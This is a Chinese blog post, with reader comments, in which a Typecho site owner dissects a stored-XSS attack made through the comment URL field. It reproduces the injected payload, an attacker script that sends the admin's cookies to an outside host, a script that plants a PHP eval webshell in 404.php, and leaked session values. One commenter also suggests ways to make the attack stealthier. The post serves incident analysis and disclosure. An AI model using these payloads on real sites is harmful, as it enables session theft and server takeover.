以前也有很多无聊的小鬼喜欢对着我的站点舞弄他胯下的那根牙签,最无聊的那些还在我的站点日志里刷针对thinkphp或者/backup.zip之类搞笑的请求,难得有个比较务实一些所以记录下来。
相关的漏洞,稍微限制下字符串长度就能临时缓解,不过我的博客数据是自动备份的,丢不了所以懒得搭理这些无聊的小鬼。各位看戏就行。

简单分析一下

受害者在访问 https://xfox.fun/admin/manage-comments.php?status=waiting 查看待审核评论时会触发攻击(我写这篇文章的时候还专门去触发了下来着。)
2023-03-25T17:32:14.png

manage-comments.php:1 
 Mixed Content: The page at 'https://xfox.fun/admin/manage-comments.php?status=waiting' was loaded over HTTPS, but requested an insecure element 'http://xss.jnhrich.com/?keepsession=1&location=https%3A//xfox.fun/admin/man…06a18c2…%3B%20PHPSESSID%3Dcq5pt23i2iigk10u6jtco7oush&opener='. This request was automatically upgraded to HTTPS, For more information see https://blog.chromium.org/2019/10/no-more-mixed-messages-about-https.html

具体点:

http://xss.jnhrich.com/?keepsession=1&location=https%3A//xfox.fun/admin/manage-comments.php%3Fstatus%3Dwaiting&toplocation=https%3A//xfox.fun/admin/manage-comments.php%3Fstatus%3Dwaiting&cookie=_ga%3DGA1.2.88597434.1639765737%3B%20Hm_lvt_4eec02a884f8b44131e88d3d0a04b7a5%3D1677408658%2C1677420843%2C1677590754%2C1677756575%3B%20d84ebf531c5a88e8fef63f870a1fadaf__typecho_uid%3D1%3B%20d84ebf531c5a88e8fef63f870a1fadaf__typecho_authCode%3D%2524T%2524VifixxEHTd267cdeee706a18c2b7d0c1d8796b384%3B%20PHPSESSID%3Dcq5pt23i2iigk10u6jtco7oush&opener=
URL解码:
http://xss.jnhrich.com/?keepsession=1&location=https://xfox.fun/admin/manage-comments.php?status=waiting&toplocation=https://xfox.fun/admin/manage-comments.php?status=waiting&cookie=_ga=GA1.2.88597434.1639765737; Hm_lvt_4eec02a884f8b44131e88d3d0a04b7a5=1677408658,1677420843,1677590754,1677756575; d84ebf531c5a88e8fef63f870a1fadaf__typecho_uid=1; d84ebf531c5a88e8fef63f870a1fadaf__typecho_authCode=%24T%24VifixxEHTd267cdeee706a18c2b7d0c1d8796b384; PHPSESSID=cq5pt23i2iigk10u6jtco7oush&opener=

我记得我打开的时候有个提示文件 404.php 的更改已经保存,查看了IDC随之发送的即时安全提示邮件,可以看到
/www/wwwroot/xfox.fun/usr/themes/default/404.php 在2023/03/26 01:40:25被篡改为如下内容

<?php @eval($_GET["rich"])?>

很经典的一句话木马
那么先回头看看他怎么插入的,查看数据库发现,他利用评论功能的网站URL输入框,导出该条评论数据为sql可以看到:

INSERT INTO typecho_comments (coid, cid, created, author, authorId, ownerId, mail, url, ip, agent, text, type, status, parent, likes, dislikes) VALUES
(455, 1395, 1679753286, '知名4201', 0, 1, '4201@qq.com', 'http://xxx.xxx.com/\"><script/src=\"https://xss.jnhrich.com/myjs/cookie.js\"><script/src=https://jackmi.jnhrich.com/jquery.js>;<a/href=\"#', '192.151.220.170', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', '表评论4201', 'comment', 'waiting', 0, 0, 0);

主要内容就是:
http://xxx.xxx.com/\"><script/src=\"https://xss.jnhrich.com/myjs/cookie.js\"><script/src=https://jackmi.jnhrich.com/jquery.js>;<a/href=\"#
这是个很巧妙的插入方式
为了避免攻击者删除上述服务器的内容,我把它们拷贝在这里。

https://xss.jnhrich.com/myjs/cookie.js
内容如下:
var website = "http://xss.jnhrich.com";
(function () {
    (new Image())
        .src = website + '/?keepsession=1&location=' + escape((function () {
            try {
                return document.location.href
            } catch (e) {
                return ''
            }
        })()) + '&toplocation=' + escape((function () {
            try {
                return top.location.href
            } catch (e) {
                return ''
            }
        })()) + '&cookie=' + escape((function () {
            try {
                return document.cookie
            } catch (e) {
                return ''
            }
        })()) + '&opener=' + escape((function () {
            try {
                return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
            } catch (e) {
                return ''
            }
        })());
})();

https://jackmi.jnhrich.com/jquery.js
内容如下
var times=0;
var g_shell=0;
function poc(){
    if(times<=10){
        var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
        var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
        olddatas=htmldata.innerText;
        htmldata.innerText=('<?php @eval($_GET["rich"])?>\n')+olddatas;
        btn[1].click();
        times+=1;
        if(g_shell==1){
            var xhr1=new XMLHttpRequest();
            xhr1.open('get','/usr/themes/default/404.php?shell=1');
            xhr1.send();
            }
        else{
            return 0;
        }
    }
}
step1();

看完上述内容,就很容易理解攻击过程了。
这是个很好玩的东西。
我觉得攻击者可能对我存在某些误会,即使能窃取到明文密钥登录服务器,他也无法访问我不公开的内容,而我的博客上显然没有什么是我不打算公开的。🥴
Github已经看到了有人提出ISSUE
顺便提供一下攻击者服务器的各个域名。
看上去,它可能自称jackmi?我对这方面不是很感兴趣,学网安的可以来评价一下这个攻击者大概处于什么水平。
jnhrich.com-202303251822.xlsx

Boom has been planted!
看上去可能是个CS玩家。

2023年3月28日更新

Typecho <= 1.2.0 Comments URL with Stored-XSS Vulnerability 三天提出的,已处于Closed状态,我的博客也修复了这个安全问题。

标签: none

已有 7 条评论

  1. 表评论1264

    1. 傻X又来啦?我刚修好你又来,你真的好机车哎。

  2. xss脚本写得太随便了,真是一点伪装都不做,换我的话会注入css隐藏保存通知,传送cookie的时候换https防止协议降级警告,注入脚本后立即把注入点修改回正常的内容,篡改404.php改为插入代码而不是直接把原来的删了,这样在页面是看不出异常的(

    使用jq开发难免容易出现xss,但是不知道为什么typecho不设置cookie http only,这个是网络安全最基本要求了…
    虽然说这个因为存在可以直接编辑服务器上文件的api,xss就可以getshell,所以就算是cookie http only也没用了。

    1. 还没睡呢?我洗完澡正泡泡面,昨天我看github已经有三个人都提出来这个XSS 的Issue了,估计攻击规模很大。他写了个 htmldata.innerText=('<?php @eval($_GET["rich"])?>\n')+olddatas ,看上去是有计划想保留404的原内容,但是 olddatas=htmldata.innerText;让我总感觉这人是写着写着脑子糊涂了前后端不分,觉得自己能直接读404.php的源码。

      1. 我又看了一下,他确实是想保留原本的404内容,你文章里贴的jquery.js漏了最上面的step1方法。
        可以看到htmldata引用的对象是/admin/theme-editor.php?theme=default&file=404.php这个页面id为content的元素,htmldata.innerText正是原本的内容。

        1. 听起来是可行的,但是我之前检查404.php的时候发现这玩意只剩下那个eval函数了,原始内容并没有保留。

          1. 估计/admin/theme-editor.php?theme=default&file=404.php这个页面是用异步加载文件内容的…而这个代码的执行时机是onload(页面加载完毕,不包含ajax),所以就没有获取到原本的内容了

添加新评论